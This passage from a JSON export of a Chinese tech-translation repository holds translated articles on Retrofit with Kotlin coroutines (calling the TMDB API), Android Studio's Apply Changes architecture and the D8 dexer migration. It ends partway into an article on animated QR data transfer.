[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/android-networking-in-2019-retrofit-with-kotlins-coroutines.md",
    "content": "> * 原文地址：[Android Networking in 2019 — Retrofit with Kotlin’s Coroutines](https://android.jlelse.eu/android-networking-in-2019-retrofit-with-kotlins-coroutines-aefe82c4d777)\n> * 原文作者：[Navendra Jha](https://medium.com/@navendra)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/android-networking-in-2019-retrofit-with-kotlins-coroutines.md](https://github.com/xitu/gold-miner/blob/master/TODO1/android-networking-in-2019-retrofit-with-kotlins-coroutines.md)\n> * 译者：[feximin](https://github.com/Feximin)\n\n# 2019 年的 Android 网络 —— Retrofit 与 Kotlin 协程\n\n2018 年，Android 圈发生了许多翻天覆地的变化，尤其是在 Android 网络方面。稳定版本的 Kotlin 协程的发布极大地推动了 Android 在处理多线程方面从 RxJava 到 Kotlin 协程的发展。\n本文中，我们将讨论在 Android 中使用 [Retrofit2](https://square.github.io/retrofit/) 和 [Kotlin 协程](https://kotlinlang.org/docs/reference/coroutines-overview.html) 进行网络 API 调用。我们将调用 [TMDB API](https://developers.themoviedb.org/3) 来获取热门电影列表。\n\n![](https://cdn-images-1.medium.com/max/2000/1*un0xtxGU3IEh8KBXcAXGQA.png)\n\n### 概念我都懂，给我看代码！！\n\n如果你在 Android 网络方面有经验并且在使用 Retrofit 之前进行过网络调用，但可能使用的是 RxJava 而不是 Kotlin 协程，并且你只想看看实现方式，[请查看 Github 上的 readme 文件](https://github.com/navi25/RetrofitKotlinDeferred/)。\n\n### Android 网络简述\n\n简而言之，Android 网络或者任何网络的工作方式如下：\n\n* **请求** —— 使用正确的头信息向一个 URL（终端）发出一个 HTTP 请求，如有需要，通常会携带授权的 Key。\n* **响应** —— 请求会返回错误或者成功的响应。在成功的情况下，响应会包含终端的内容（通常是 JSON 格式）。\n* **解析和存储** —— 解析 JSON 并获取所需的值，然后将其存入数据类中。\n\nAndroid 中，我们使用：\n\n* [Okhttp](http://square.github.io/okhttp/) —— 用于创建具有合适头信息的 HTTP 请求。\n* [Retrofit](https://square.github.io/retrofit/) —— 发送请求。\n* [Moshi](https://github.com/square/moshi)/ [GSON](https://github.com/google/gson) —— 解析 JSON 数据。\n* [Kotlin 协程](https://kotlinlang.org/docs/reference/coroutines-overview.html) —— 用于发出非阻塞（主线程）的网络请求。\n* [Picasso](http://square.github.io/picasso/) / [Glide](https://bumptech.github.io/glide/) —— 下载网络图片并将其设置给 ImageView。\n\n显然这些只是一些热门的库，也有其他类似的库。此外这些库都是由 [Square 公司](https://en.wikipedia.org/wiki/Square,_Inc) 的牛人开发的。点击 [Square 团队的开源项目](http://square.github.io/) 查看更多。\n\n## 开始吧\n\nMovie Database（TMDb）API 包含所有热门的、即将上映的、正在上映的电影和电视节目列表。这也是最流行的 API 之一。\n\nTMDB API 需要 API 密钥才能请求。为此：\n\n* 在 [TMDB](https://www.themoviedb.org/) 建一个账号\n* [按照这里的步骤注册一个 API 密钥](https://developers.themoviedb.org/3/getting-started/introduction)。\n\n### 在版本控制系统中隐藏 API 密钥（可选但推荐）\n\n获取 API 密钥后，按照下述步骤将其在 VCS 中隐藏。\n\n* 将你的密钥添加到根目录下的 **local.properties** 文件中。\n* 在 **build.gradle** 中用代码来访问密钥。\n* 之后在程序中通过 **BuildConfig** 就可以使用密钥了。\n\n```Gradle\n//In local.properties\ntmdb_api_key = \"xxxxxxxxxxxxxxxxxxxxxxxxxx\"\n\n//In build.gradle (Module: app)\nbuildTypes.each {\n        Properties properties = new Properties()\n        properties.load(project.rootProject.file(\"local.properties\").newDataInputStream())\n        def tmdbApiKey = properties.getProperty(\"tmdb_api_key\", \"\")\n\n        it.buildConfigField 'String', \"TMDB_API_KEY\", tmdbApiKey\n        \n        it.resValue 'string', \"api_key\", tmdbApiKey\n\n}\n\n//In your Constants File\nvar tmdbApiKey = BuildConfig.TMDB_API_KEY\n```\n\n## 设置项目\n\n为了设置项目，我们首先会将所有必需的依赖项添加到 **build.gradle (Module: app)** 文件中：\n\n```Gradle\n// build.gradle(Module: app)\ndependencies {\n\n    def moshiVersion=\"1.8.0\"\n    def retrofit2_version = \"2.5.0\"\n    def okhttp3_version = \"3.12.0\"\n    def kotlinCoroutineVersion = \"1.0.1\"\n    def picassoVersion = \"2.71828\"\n\n     \n    //Moshi\n    implementation \"com.squareup.moshi:moshi-kotlin:$moshiVersion\"\n    kapt \"com.squareup.moshi:moshi-kotlin-codegen:$moshiVersion\"\n\n    //Retrofit2\n    implementation \"com.squareup.retrofit2:retrofit:$retrofit2_version\"\n    implementation \"com.squareup.retrofit2:converter-moshi:$retrofit2_version\"\n    implementation \"com.jakewharton.retrofit:retrofit2-kotlin-coroutines-adapter:0.9.2\"\n\n    //Okhttp3\n    implementation \"com.squareup.okhttp3:okhttp:$okhttp3_version\"\n    implementation 'com.squareup.okhttp3:logging-interceptor:3.11.0'\n    \n     //Picasso for Image Loading\n    implementation (\"com.squareup.picasso:picasso:$picassoVersion\"){\n        exclude group: \"com.android.support\"\n    }\n\n    //Kotlin Coroutines\n    implementation \"org.jetbrains.kotlinx:kotlinx-coroutines-android:$kotlinCoroutineVersion\"\n    implementation \"org.jetbrains.kotlinx:kotlinx-coroutines-core:$kotlinCoroutineVersion\"\n\n   \n}\n```\n\n### 现在创建我们的 TmdbAPI 服务\n\n```Kotlin\n//ApiFactory to create TMDB Api\nobject Apifactory{\n  \n    //Creating Auth Interceptor to add api_key query in front of all the requests.\n    private val authInterceptor = Interceptor {chain->\n            val newUrl = chain.request().url()\n                    .newBuilder()\n                    .addQueryParameter(\"api_key\", AppConstants.tmdbApiKey)\n                    .build()\n\n            val newRequest = chain.request()\n                    .newBuilder()\n                    .url(newUrl)\n                    .build()\n\n            chain.proceed(newRequest)\n        }\n  \n   //OkhttpClient for building http request url\n    private val tmdbClient = OkHttpClient().newBuilder()\n                                .addInterceptor(authInterceptor)\n                                .build()\n\n\n  \n    fun retrofit() : Retrofit = Retrofit.Builder()\n                .client(tmdbClient)\n                .baseUrl(\"https://api.themoviedb.org/3/\")\n                .addConverterFactory(MoshiConverterFactory.create())\n                .addCallAdapterFactory(CoroutineCallAdapterFactory())\n                .build()   \n\n  \n   val tmdbApi : TmdbApi = retrofit().create(TmdbApi::class.java)\n\n}\n```\n\n看一下我们在 ApiFactory.kt 文件中做了什么。\n\n* 首先，我们创建了一个用以给所有请求添加 api_key 参数的网络拦截器，名为 **authInterceptor**。\n* 然后我们用 OkHttp 创建了一个网络客户端，并添加了 authInterceptor。\n* 接下来，我们用 Retrofit 将所有内容连接起来构建 Http 请求的构造器和处理器。此处我们加入了之前创建好的网络客户端、基础 URL、一个转换器和一个适配器工厂。\n  首先是 MoshiConverter，用以辅助 JSON 解析并将响应的 JSON 转化为 Kotlin 数据类，如有需要，可进行选择性解析。\n第二个是 CoroutineCallAdaptor，它的类型是 Retorofit2 中的 `CallAdapter.Factory`，用于处理 [Kotlin 协程中的](https://kotlinlang.org/docs/reference/coroutines.html) `Deferred`。\n* 最后，我们只需将 **TmdbApi 类（下节中创建）** 的一个引用传入之前建好的 retrofit 类中就可以创建我们的 tmdbApi。\n\n### 探索 Tmdb API\n\n调用 **/movie/popular** 接口我们得到了如下响应。该响应中返回了 **results**，这是一个 movie 对象的数组。这正是我们关注的地方。\n\n```JSON\n{\n  \"page\": 1,\n  \"total_results\": 19848,\n  \"total_pages\": 993,\n  \"results\": [\n    {\n      \"vote_count\": 2109,\n      \"id\": 297802,\n      \"video\": false,\n      \"vote_average\": 6.9,\n      \"title\": \"Aquaman\",\n      \"popularity\": 497.334,\n      \"poster_path\": \"/5Kg76ldv7VxeX9YlcQXiowHgdX6.jpg\",\n      \"original_language\": \"en\",\n      \"original_title\": \"Aquaman\",\n      \"genre_ids\": [\n        28,\n        14,\n        878,\n        12\n      ],\n      \"backdrop_path\": \"/5A2bMlLfJrAfX9bqAibOL2gCruF.jpg\",\n      \"adult\": false,\n      \"overview\": \"Arthur Curry learns that he is the heir to the underwater kingdom of Atlantis, and must step forward to lead his people and be a hero to the world.\",\n      \"release_date\": \"2018-12-07\"\n    },\n    {\n      \"vote_count\": 625,\n      \"id\": 424783,\n      \"video\": false,\n      \"vote_average\": 6.6,\n      \"title\": \"Bumblebee\",\n      \"popularity\": 316.098,\n      \"poster_path\": \"/fw02ONlDhrYjTSZV8XO6hhU3ds3.jpg\",\n      \"original_language\": \"en\",\n      \"original_title\": \"Bumblebee\",\n      \"genre_ids\": [\n        28,\n        12,\n        878\n      ],\n      \"backdrop_path\": \"/8bZ7guF94ZyCzi7MLHzXz6E5Lv8.jpg\",\n      \"adult\": false,\n      \"overview\": \"On the run in the year 1987, Bumblebee finds refuge in a junkyard in a small Californian beach town. Charlie, on the cusp of turning 18 and trying to find her place in the world, discovers Bumblebee, battle-scarred and broken.  When Charlie revives him, she quickly learns this is no ordinary yellow VW bug.\",\n      \"release_date\": \"2018-12-15\"\n    }\n  ]\n}\n```\n\n因此现在我们可以根据该 JSON 创建我们的 Movie 数据类和 MovieResponse 类。\n\n```Kotlin\n// Data Model for TMDB Movie item\ndata class TmdbMovie(\n    val id: Int,\n    val vote_average: Double,\n    val title: String,\n    val overview: String,\n    val adult: Boolean\n)\n\n// Data Model for the Response returned from the TMDB Api\ndata class TmdbMovieResponse(\n    val results: List<TmdbMovie>\n)\n\n//A retrofit Network Interface for the Api\ninterface TmdbApi{\n    @GET(\"movie/popular\")\n    fun getPopularMovie(): Deferred<Response<TmdbMovieResponse>>\n}\n```\n\n\n**TmdbApi 接口：**\n\n创建了数据类后，我们创建 TmdbApi 接口，在前面的小节中我们已经将其引用添加至 retrofit 构建器中。在该接口中，我们添加了所有必需的 API 调用，如有必要，可以给这些调用添加任意参数。例如，为了能够根据 id 获取一部电影，我们在接口中添加了如下方法：\n\n```Kotlin\ninterface TmdbApi{\n\n    @GET(\"movie/popular\")\n    fun getPopularMovies() : Deferred<Response<TmdbMovieResponse>>\n\n    @GET(\"movie/{id}\")      \n    fun getMovieById(@Path(\"id\") id:Int): Deferred<Response<Movie>>\n\n}\n```\n\n## 最后，进行网络调用\n\n接着，我们最终发出一个用以获取所需数据的请求，我们可以在 DataRepository 或者 ViewModel 或者直接在 Activity 中进行此调用。\n\n#### 密封 Result 类\n\n这是用来处理网络响应的类。它可能成功返回所需的数据，也可能发生异常而出错。\n\n```Kotlin\nsealed class Result<out T: Any> {\n    data class Success<out T : Any>(val data: T) : Result<T>()\n    data class Error(val exception: Exception) : Result<Nothing>()\n}\n```\n\n#### 构建用来处理 safeApiCall 调用的 BaseRepository\n\n```Kotlin\nopen class BaseRepository{\n\n    suspend fun <T : Any> safeApiCall(call: suspend () -> Response<T>, errorMessage: String): T? {\n\n        val result : Result<T> = safeApiResult(call,errorMessage)\n        var data : T? = null\n\n        when(result) {\n            is Result.Success ->\n                data = result.data\n            is Result.Error -> {\n                Log.d(\"1.DataRepository\", \"$errorMessage & Exception - ${result.exception}\")\n            }\n        }\n\n\n        return data\n\n    }\n\n    private suspend fun <T: Any> safeApiResult(call: suspend ()-> Response<T>, errorMessage: String) : Result<T>{\n        val response = call.invoke()\n        if(response.isSuccessful) return Result.Success(response.body()!!)\n\n        return Result.Error(IOException(\"Error Occurred during getting safe Api result, Custom ERROR - $errorMessage\"))\n    }\n}\n```\n\n#### 构建 MovieRepository\n\n```Kotlin\nclass MovieRepository(private val api : TmdbApi) : BaseRepository() {\n  \n    fun getPopularMovies() : MutableList<TmdbMovie>?{\n      \n      //safeApiCall is defined in BaseRepository.kt (https://gist.github.com/navi25/67176730f5595b3f1fb5095062a92f15)\n      val movieResponse = safeApiCall(\n           call = {api.getPopularMovie().await()},\n           errorMessage = \"Error Fetching Popular Movies\"\n      )\n      \n      return movieResponse?.results.toMutableList();\n    \n    }\n\n}\n```\n\n#### 创建 ViewModel 来获取数据\n\n```Kotlin\nclass TmdbViewModel : ViewModel(){\n  \n    private val parentJob = Job()\n\n    private val coroutineContext: CoroutineContext\n        get() = parentJob + Dispatchers.Default\n\n    private val scope = CoroutineScope(coroutineContext)\n\n    private val repository : MovieRepository = MovieRepository(ApiFactory.tmdbApi)\n    \n\n    val popularMoviesLiveData = MutableLiveData<MutableList<ParentShowList>>()\n\n    fun fetchMovies(){\n        scope.launch {\n            val popularMovies = repository.getPopularMovies()\n            popularMoviesLiveData.postValue(popularMovies)\n        }\n    }\n\n\n    fun cancelAllRequests() = coroutineContext.cancel()\n\n}\n```\n\n#### 在 Activity 中使用 ViewModel 更新 UI\n\n```Kotlin\nclass MovieActivity : AppCompatActivity(){\n    \n    private lateinit var tmdbViewModel: TmdbViewModel\n  \n     override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n        setContentView(R.layout.activity_movie)\n       \n        tmdbViewModel = ViewModelProviders.of(this).get(TmdbViewModel::class.java)\n       \n        tmdbViewModel.fetchMovies()\n       \n        tmdbViewModel.popularMovies.observe(this, Observer {\n            \n            //TODO - Your Update UI Logic\n        })\n       \n     }\n  \n}\n```\n\n本文是 Android 中一个基础但却全面的产品级别的 API 调用的介绍。[更多示例，请访问此处](https://github.com/navi25/RetrofitKotlinDeferred)。\n\n祝编程愉快！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/android-studio-project-marble-apply-changes.md",
    "content": "> * 原文地址：[Android Studio Project Marble: Apply Changes](https://medium.com/androiddevelopers/android-studio-project-marble-apply-changes-e3048662e8cd)\n> * 原文作者：[Jon Tsao](https://medium.com/@jontsao)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/android-studio-project-marble-apply-changes.md](https://github.com/xitu/gold-miner/blob/master/TODO1/android-studio-project-marble-apply-changes.md)\n> * 译者：[qiuyuezhong](https://github.com/qiuyuezhong)\n> * 校对者：[phxnirvana](https://github.com/phxnirvana)\n\n# Android Studio Project Marble: Apply Changes\n\n### 深入探讨 Android Studio 团队如何构建 Instant Run 的后继者 —— Apply Changes。\n\n![](https://cdn-images-1.medium.com/max/10400/1*dAZ5ygLJ9llUxAr7_TmKrg.png)\n\n**Android Studio 团队有一系列深入探讨 [Project Marble](https://android-developers.googleblog.com/2019/01/android-studio-33.html) 细节和幕后情况的文章，本文是其中的第一篇。从发布 [Android Studio 3.3](https://android-developers.googleblog.com/2019/01/android-studio-33.html) 开始，Project Marble 就致力于保证 IDE 基本功能的稳定性和流畅度。这篇文章是由 Apply Changes 团队的 Jon Tsao（产品经理），Esteban de la Canal（技术负责人），Fabien Sanglard（工程师）和 Alan Leung（工程师）共同完成。**\n\nAndroid Studio 的一个主要目标是为你的 app 提供快速的代码编辑和验证工具。当我们创建 Instant Run 的时候，我们希望它能够明显加速你的开发流程，但是现在看来它并没有达到预期目标。作为 Project Marble 的一部分，我们一直在重新思考 Instant Run，并提出了一个更实用的替代方案 Apply Changes。Apply Changes 作为一个可以加快开发流程的新方法，最初在 Android Studio 3.5 的 Canary Channel [发布预览](https://androidstudio.googleblog.com/2019/01/android-studio-35-canary-1-available.html)。在这篇文章中，我们想深入聊聊它是如何工作的，以及迄今为止我们的工作。\n\n## Instant Run\n\n通过 Instant Run，我们想解决两个问题：1）节省构建和部署应用程序到设备上的时间，2）使应用程序在不丢失运行状态的情况下部署更改。为了在 Instant Run 中做到这一点，我们在构建的时候重写你的 APK 来注入钩子，以便在运行的时候进行类的替换。要更详细的了解 Instant Run 背后的架构，可以参考几年前 [Medium 上的这篇文章](https://medium.com/google-developers/instant-run-how-does-it-work-294a1633367f)。\n\n对于简单的 app，这个方案一般都表现很好，但是对于更复杂的 app 来说，它可能会使构建时间变长，或者会由于 app 与 Instant Run 构建过程之间有冲突而导致令人头疼的错误。随着这些问题的出现，我们在后续的版本中持续改进提升 Instant Run。但是，我们无法完全解决这些问题，让它符合我们的期望。\n\n我们后退了一步，决定从头开始构建一个新的架构，它就是 Apply Changes。和 Instant Run 不同，Apply Changes 不会在构建的时候修改你的 APK。取而代之，我们用 Android 8.0（Oreo）上支持的 Runtime Instrumentation 以及更新的设备和模拟器在运行时重定义类。\n\n## Apply Changes\n\n对于运行在 Android 8.0 或者更新版本上的设备和虚拟机，Android Studio 现在有三个按钮来控制应用程序重启的程度：\n\n* **Run** 会部署所有的改动并重启应用程序。\n\n* **Apply Changes** 会尝试应用资源和代码的更改，并只重启 Activity 而不是重启应用程序。\n\n* **Apply Code Changes** 会尝试应用代码的更改，而不重启任何东西。\n\n通常只有方法体内部的代码更改才对 Apply Changes 具有兼容性。\n\n## 原则\n\n基于在 Instant Run 上的经验和反馈，我们采用了一些原则来指导我们的架构设计和决策：\n\n1. **将构建/部署的速度和状态丢失两者独立开**。我们想将节省构建和部署的时间，与在不丢失运行状态的情况下部署更改这两个目标分开。不管是一般的运行或者调试，或者代码的热替换，快速构建和部署应该是**所有**部署类型的目标。作为构建 Apply Changes 的一部分，我们发现了很多可以优化构建和部署速度的领域，在后面的文章中，我们会详细介绍它们。\n\n2. **稳定性至关重要**。即便在 100 次中这个功能以极快的速度运行了 99 次，如果你的 app 因为这个功能而崩溃了一次，并且你花半个小时来尝试找出原因，那么其他 99 次获得的收益也就全部被抵消了。由于我们坚持这一原则，Apply Changes 不会像 Instant Run 那样在构建期间修改你的 APK。带来的副作用是，在我们进行稳定性优化的早期版本中，Apply Changes 会比 Instant Run 的平均速度稍慢，但是我们将继续提高构建和部署的速度。\n\n3. **透明**。Instant Run 按钮会自动决定是否在必要时重启你的 app 或者 Activity，对于这样不可预测性和行为不一致性的反馈，我们也考虑了进来。我们希望在任何时候你都能清楚透明的了解 Apply Changes 要做什么，如果你的代码有不兼容的修改会发生什么。因此如果有检测到与 Apply Changes 不兼容的修改，我们现在会明确提示你。\n\n## 架构\n\n我们来深入研究下 Apply Changes 是如何工作的。在你修改 app 之后，当前设备上已经安装或正在运行的应用程序和 Android Studio 刚刚编译出来的应用程序是有差异的，Apply Changes 需要弄清楚如何应用这些差异。这个过程可以分成两个步骤：1）弄清楚差异是什么，2）将差异发送到设备上并应用它。\n\n为了快速确定差异，Apply Changes 没有从设备抓取完整的 APK，而是向设备发送一个快速的请求，去拉取已经安装 APK 的对应[目录](https://en.wikipedia.org/wiki/Zip_(file_format)#Central_directory_file_header)和[签名](https://source.android.com/security/apksigning)。将这两部分信息和新 APK 进行比较，Apply Changes 可以高效地找出自上次部署以来修改过的文件列表，而不需要检查 APK 的所有内容。需要注意的是，这个算法并不依赖于构建系统，因为差异并不是与上一次构建相比较得到的，而是与安装到设备上的 APK 比较得来。由于 Apply Changes 只针对 APK 之间的差异进行操作，因此它并不要求 Gradle 插件版本和 Gradle 同步。这样，Apply Changes 可以运行于所有的构建系统上。\n\n在生成更改过的文件列表之后，根据所更改的内容，需要执行不同的操作来将这些更改应用到正在运行的 app 上，这也决定了要使这些更改生效，app 需要重启到什么程度：\n\n**更改 resource/asset 文件**。\n这种情况下会重新安装应用程序，但只会重启 Activity，并获取修改后的资源。只有修改过的资源才会被发送到设备上。\n\n**更改 [.dex](https://source.android.com/devices/tech/dalvik/dex-format) 文件**。\nAndroid 8.0 的 Android Runtime 提供了替换已加载类的字节码的能力，只要新的字节码不会改变内存中现有对象的布局。这意味着要想兼容 Apply Changes，更改的代码会有一些限制：方法名，类名，和签名都不能更改，它们的成员变量也不能更改。\n\n但这个机制不能在 .dex 级别，只能在类级别工作。否则，如果 .dex 文件包含成千上万个类，即便只有一个类更改了，也需要对所有类进行替换，这样效率太低。对于 .dex 文件，我们比较它的内容来找出更改过的类，只替换掉它们。如果替换成功（例如，类的布局没有改变），为了避免正在运行和已安装的 app 的版本不一致，会在后台安装 app。\n\n**更改 .dex 文件和资源文件**。\n这个情况是上面两种情况的组合。先处理代码的部分，如果成功了，会和新的资源一起安装。为了加载新的资源，主 Activity 会被重启。这是一个全做或全不做的操作，如果代码的改变不能成功地应用，正在运行的 app 什么都不会改变。\n\n**更改其他东西**。\n这是最糟的情况，比如 AndroidManifest.xml 或者 native .so 这些文件被更改了。在这种情况下，是不可能不重启应用程序来应用更改的。“Apply Changes” 和 “Apply Code Changes”这两个操作都不会试图去部署它，它们会告诉用户应用程序需要重启。\n\n![**Flow of the architecture described above**](https://cdn-images-1.medium.com/max/2240/1*aD1y7EprEnSzM-3FwbUsRQ.png)\n\n**关于架构的更多详细信息，请收听 Android Developers Backstage 播客的[最新一集](http://androidbackstage.blogspot.com/2019/02/episode-108-instant-re-run.html)，技术负责人 Esteban de la Canal 对 Apply Changes 进行了深入探讨。**\n\n## 比较 .dex 文件\n\n前一个部分解释了 Apply Changes 需要比较并确认在设备上更改（修改/添加/删除）了哪个具体的类。为了不增加从设备获取大量内容的开销，它在后台使用了 [D8](https://android-developers.googleblog.com/2018/04/android-studio-switching-to-d8-dexer.html) 的 DEX 文件分析能力来检查 Android Studio 部署到设备上的每个 .dex 文件的内容。根据 .dex 文件中的各个类，计算出校验和，并临时保存在主机的一个缓存数据库中。通过对比新编译的 .dex 文件和之前的 .dex 文件的校验和，Apply Changes 可以在很短的时间内找到更改过的类。\n\n## Delta push\n\n如上所述，只有更改了的文件才会被发送到设备上，我们称之为 “ delta push”。与上面提到的 DEX 文件对比类似，Apply Changes 计算已安装的 APK 和最近构建的 APK 之间的差异，而不需要从设备获取所有内容。这次，它只获取压缩文件的 [Central Directory](https://en.wikipedia.org/wiki/Zip_(file_format)#Central_directory_file_header)，并保守估计相应 APK 之间可能存在的差异。通过只传输已经改变的部分，Android Studio 传输的数据比完整的 APK 上传要少很多。在大多数情况下，总传输数据从几 MiB 减少到几 KiB。\n\n## 接下来\n\n现在可以在 Android Studio 3.5 的 Canary release channel 中使用 Apply Changes。我们欢迎[下载最新的 Android Studio](https://developer.android.com/studio/preview/install-preview)，将 Apply Changes 使用到你的项目中，并向我们提出早期的反馈。作为提醒，你可以同时[运行 Android Studio 的稳定版本和 canary release 版本](https://developer.android.com/studio/preview/install-preview#install_alongside_your_stable_version) 。如果你在使用 Apply Changes 时遇到任何问题，请[提交一个 bug](https://issuetracker.google.com/issues/new?component=550294&template=1207130) 并附上对应的 [idea.log 文件](https://intellij-support.jetbrains.com/hc/en-us/articles/207241085-Locating-IDE-log-files)。我们会持续优化部署性能，修复 bug，并听取你的建议和反馈。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/android-studio-switching-to-d8-dexer.md",
    "content": "> * 原文地址：[Android Studio switching to D8 dexer](https://android-developers.googleblog.com/2018/04/android-studio-switching-to-d8-dexer.html)\n> * 原文作者：[Jeffrey van Gogh](https://android-developers.googleblog.com/2018/04/android-studio-switching-to-d8-dexer.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/android-studio-switching-to-d8-dexer.md](https://github.com/xitu/gold-miner/blob/master/TODO1/android-studio-switching-to-d8-dexer.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[wavezhang](https://github.com/wavezhang)\n\n# Android Studio 切换至 D8 dexer\n\n更快、更智能的应用程序编译始终是 Android 工具团队的目标。这就是我们之前宣布 [D8](https://android-developers.googleblog.com/2017/08/next-generation-dex-compiler-now-in.html) 作为下一代 dex 编译器的原因。与之前的编译器 —— DX 相比，D8 运行速度更快，生成的 .dex 文件更小且具有同等或更好的运行时性能。\n\n我们最近已经宣布 D8 成为 Android Studio 3.1 的默认编译器。如果您之前没有尝试 D8，我们希望你在切换时关注到其 dex 编译器更快、更好的特性。 \n\nD8 最初在 Android Studio 3.0 作为可选功能发布。除了我们自己的严格测试之外，我们现在已经看到它在各种各样的应用程序中表现优异。因此，我们相信 D8 将很好地适用于在 3.1 中开始使用它的每一位开发者。但是，如果确实有问题，可以通过设置项目的 gradle.properties 文件来暂时恢复至 DX：\n\n```\nandroid.enableD8=false\n```\n\n如果你确实遇到了需要禁用 D8 的情况，请[联系我们](https://issuetracker.google.com/issues/new?component=192708&template=840533)！\n\n**下一步**\n\n我们的目标是确保每个人都可以快速、正确地使用 dex 编译器。因此，为避免我们的任何用户面临回退的风险，我们将分三个阶段淘汰 DX\n\n第一阶段旨在防止过早弃用 DX。在这个阶段，DX 将继续在 Stduio 中可用。我们将解决关键性问题，但不会添加新功能。这个阶段将持续至少六个月，在此期间，我们将评估开发 D8 时产生的任何错误，以确定是否存在会阻止某些用户使用 D8 取代 DX 的回归。第一阶段在小组解决所有迁移滞后者之前不会结束。在此窗口中，我们将特别关注缺陷跟踪系统，因此如果存在任何问题，请[提 issue](https://issuetracker.google.com/issues/new?component=192708&template=840533)。\n\n一旦我们看到六个月的时间窗口没有从 DX 到 D8 的重大回归，我们将进入第二阶段。这一阶段将持续一年，旨在确保即使是复杂的项目也有大量的时间进行迁移。在这个阶段，我们会保证 DX 可用，但我们会将其视为已奔完全弃用；因此我们不会修复任何问题。\n\n在第三阶段也就是最后阶段，DX 将从 Android Studio 中移除。此时，你需要使用旧版本的 Android Gradle 插件才可以继续使用 DX 进行构建。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/animated-qr-data-transfer-with-gomobile-and-gopherjs.md",
    "content": "> * 原文地址：[Animated QR data transfer with Gomobile and Gopherjs](https://divan.dev/posts/animatedqr/)\n> * 原文作者：[Divan](https://divan.dev)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/animated-qr-data-transfer-with-gomobile-and-gopherjs.md](https://github.com/xitu/gold-miner/blob/master/TODO1/animated-qr-data-transfer-with-gomobile-and-gopherjs.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[suhanyujie](https://github.com/suhanyujie)\n\n# 使用 Gomobile 和 Gopherjs 的动态二维码数据传输\n\n太长了不想看，直接给出全文结论：这是在周末开展，想要通过动态二维码传递数据的项目，项目采用 Go 语言编程并使用了喷泉抹除码。移动端应用使用了 Gomobile，可以复用 Go 代码，而对于网页应用，为了自动化测试二维码参数，项目使用 GopherJS 和 Vecty 